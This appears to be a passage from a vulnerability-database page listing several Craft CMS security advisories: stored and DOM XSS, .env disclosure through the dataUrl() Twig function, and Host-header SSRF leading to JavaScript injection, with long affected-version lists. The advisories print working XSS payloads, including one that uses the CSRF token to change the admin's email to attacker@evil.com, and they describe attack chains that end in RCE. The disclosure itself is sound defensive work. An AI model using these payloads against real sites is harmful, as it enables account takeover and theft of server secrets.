).insertAfter(…);

Craft.t with a {title} token calls _parseToken, reaches case 'none': return arg (Craft.js:193-194), and returns the title verbatim. The result is handed to jQuery's $() and parsed as HTML.

The server-side template correctly encodes the entry title into data-title, but the browser decodes that attribute before jQuery returns it from .data('title'). At that point the value is attacker-controlled HTML, and it is inserted into the aria-label attribute without Craft.escapeHtml().

Steps to reproduce

Plant (attacker - Author account):

python3 poc.py --url http://target --cp admin \
  --user author@example.com --pass secret --section mySection

Trigger (victim - any control panel user with saveEntries, e.g. admin):

Open the section index in Table view.
Drag the "Drag me" entry and drop it as the first child of the poisoned entry.

alert(document.domain) fires in the victim’s session.

Impact payload tested in an elevated admin session (249 chars, within the 255-char title limit):

"><img src=x onerror="fetch(Craft.actionUrl+'users/save-user',{method:'POST',body:Craft.csrfTokenName+'='+encodeURIComponent(Craft.csrfTokenValue)+'&userId=1&email=attacker%40evil.com',headers:{'Content-Type':'application/x-www-form-urlencoded'}})">

When triggered during an elevated admin session, the admin’s email is changed to the attacker-controlled address. The attacker can then request a password reset and receive the reset link.

Impact

Stored XSS in the control panel from an Author-level account. The payload runs as the victim control panel user and can use Craft.csrfTokenName / Craft.csrfTokenValue to send same-origin action requests as that user.

In my test environment, triggering the payload in an elevated admin session allowed Author-to-admin account takeover via admin email change and password reset.

Mitigating factors

Requires an existing control panel account (Author role minimum).
Victim must perform a drag operation, not just visit the page.
The demonstrated email-change takeover requires the victim’s session to be elevated at trigger time.

Resources

https://github.com/craftcms/cms/commit/162321e899cc97517fb6f5a02b5528f549d0c6cc

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 159 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.53

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55792 GHSA-287w-mxq6-x2cp Jul 06, 2026

Craft CMS: Sensitive File Disclosure / Server-Side File Read

Medium

Network Low Low None

The dataUrl() Twig function is included in Craft’s Twig sandbox allowlist, allowing any control panel user granted the utility:system-messages permission to embed a file-reading payload into system email templates. When those emails are sent, the server reads the target file and returns its contents as a base64-encoded data URL embedded in the email body. The .env file, which typically contains the database password, CRAFT_SECURITY_KEY, and third-party API keys, passes all of Craft’s existing dataUrl() protection checks and is fully exfiltrated. Obtaining CRAFT_SECURITY_KEY enables an attacker to forge session tokens and escalate to full admin account takeover.

Details

Affected versions: Craft CMS 4.x, 5.x (confirmed against 5.9.19)

The vulnerability arises from the combination of three code facts:

dataUrl is in the Twig sandbox allowlist src/config/twig-sandbox.php, line 115: php'allowedFunctions' => [ ... 'dataUrl', // ← allows file reading inside sandboxed templates ... ],
Html::dataUrl() does not block dotfiles src/helpers/Html.php, lines 1065–1090. The function applies four checks before reading a file:

Must be within the project root .env is at the root Must not be in a system directory (config/, vendor/, storage/, templates/) .env is not Must not be a .php file .env has no extension File must exist .env always exists in a Craft install

There is no check for dotfiles or specifically for .env. All four checks pass silently and file_get_contents() is called, with the result returned as data:text/plain;base64,....

System message body is rendered via renderSandboxedString() src/mail/Mailer.php, lines 181–183: php$subject = $view->renderSandboxedString($systemMessage->subject, $variables); $textBody = $view->renderSandboxedString($systemMessage->body, $variables); $htmlBody = $view->renderSandboxedString($systemMessage->body, $variables, escapeHtml: true);

Any body content saved to a system message is executed inside the Twig sandbox when the email renders. Because dataUrl is in allowedFunctions, the sandbox policy permits its execution without restriction.

Access control: The utility:system-messages permission is a non-admin CP permission grantable to any user group via Settings > Users > Groups. It is not restricted to admins.

Impact

Vulnerability type: Sensitive File Disclosure / Server-Side File Read Who is impacted: Any Craft CMS 4.x or 5.x installation where at least one non-admin control panel user has been granted the utility:system-messages permission, and email sending is configured.

Resources:

https://github.com/craftcms/cms/pull/18559

Affected versions


          4.0.0


          4.0.0-RC1


          4.0.0-RC2


          4.0.0-RC3


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2

+ 408 more


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.0-RC1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.18.0


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55790 GHSA-24x4-j6x9-rfw5 Jul 06, 2026

Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget

High

Network Low None

Summary

An attacker with only a GitHub account can plant a JavaScript payload in a craftcms/cms issue title. When a Craft admin uses the CraftSupport widget’s "Give feedback" screen and types a search term that returns the poisoned issue, the payload executes in the admin’s control panel session.

No control panel account or elevated privileges are required on the attacker’s side.

Preconditions

Attacker has a GitHub account (no control panel access needed).
Victim is an administrator, and you have the CraftSupport widget on the dashboard.
Victim uses the "Give feedback" screen and types a search term that returns the poisoned issue.

Root cause

CraftSupportWidget.js lines 382-392:

$('<a>', {
  href: this.getSearchResultUrl(results[i]),
  target: '_blank',
  html:
    '<span class="status ' +
    this.getSearchResultStatus(results[i]) +
    '"></span>' +
    this.getSearchResultText(results[i]),
})

FeedbackScreen.getSearchResultText (line 669-671) returns result.title verbatim from the GitHub API response. The jQuery html: option sets the element’s innerHTML, so a title containing <img src=x onerror=...> executes immediately on render.

The GitHub API returns issue titles as raw JSON strings with no HTML encoding. The widget makes this request directly from the browser, without a Craft proxy or any sanitization step.

HelpScreen (Stack Exchange) is not affected because the Stack Exchange API HTML-encodes titles before returning them.

Steps to reproduce

Plant (attacker, GitHub account only):

Open https://github.com/craftcms/cms/issues/new.
Set the title to a string combining a plausible search term and the payload, e.g.:

<img src=x onerror=alert(document.domain)> cannot upload files

Submit the issue.

Trigger (victim, Craft admin):

Open the Craft control panel dashboard.
Open the CraftSupport widget, click "Give feedback".
Type cannot upload files in the search box.
alert(document.domain) fires in the admin's session.

Impact

XSS in the admin control panel session. The payload has access to Craft.csrfTokenName and Craft.csrfTokenValue and can send same-origin action requests as the admin without any further interaction.

Mitigating factors

Victim must actively use the "Give feedback" search screen.
Attacker must predict or social-engineer a search term the admin will type, or use a broad term likely to match.
Widget is only available to admins.

Resources

https://github.com/craftcms/cms/commit/6bbb66038a268552180ca5c8eed9f46ea25a4417

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 406 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.16


          5.9.23

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55791 GHSA-c55v-343g-5xff Jun 19, 2026

Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs

Critical

Network Low None None

1. Overview

Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the /actions/app/resource-js endpoint. By exploiting the default permissive trustedHosts configuration, an attacker can poison the Host or X-Forwarded-Host header to manipulate the application’s $baseUrl. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a Content-Type: application/javascript header.

2. Vulnerability Mechanism (Root Cause) The vulnerability manifests when assetManager.cacheSourcePaths is set to false. The attack chain relies on three structural flaws and insecure defaults:

A. Default Proxy Trust (trustedHosts): Craft’s default GeneralConfig::$trustedHosts is set to ['any']. This allows an attacker to bypass front-end web server (Nginx/Apache) strict Host header validations by simply injecting an X-Forwarded-Host header. Yii2 will parse this and globally set $baseUrl to the attacker's domain.
B. Insecure HTTP Client (actionResourceJs): In AppController::actionResourceJs(), the str_starts_with($url, $baseUrl) validation is bypassed because $baseUrl is already poisoned by the attacker. The core then uses Craft::createGuzzleClient()->get($url). Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to ALLOW_REDIRECTS => true.
C. Forced JS Content-Type: The response fetched from the attacker's server is blindly returned to the user via $this->asRaw() with the header Content-Type: application/javascript.

3. Attack Scenario & Impact (Proof of Exploitability) This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved.

If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to Web Cache Poisoning:

An unauthenticated attacker sends the poisoned request.
The caching layer caches the malicious JavaScript response for the legitimate /actions/app/resource-js URI.
When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (Stored XSS).
The malicious script extracts window.Craft.csrfTokenValue and silently sends a POST request to /admin/actions/plugins/install-plugin, achieving 1-Click Remote Code Execution (RCE) via Session Riding.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 408 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.18


          5.10

References

Updated Jun 19, 2026 · Source: OSV.dev

Apr 29, 2026

4.17.15 patch

3 CVEs

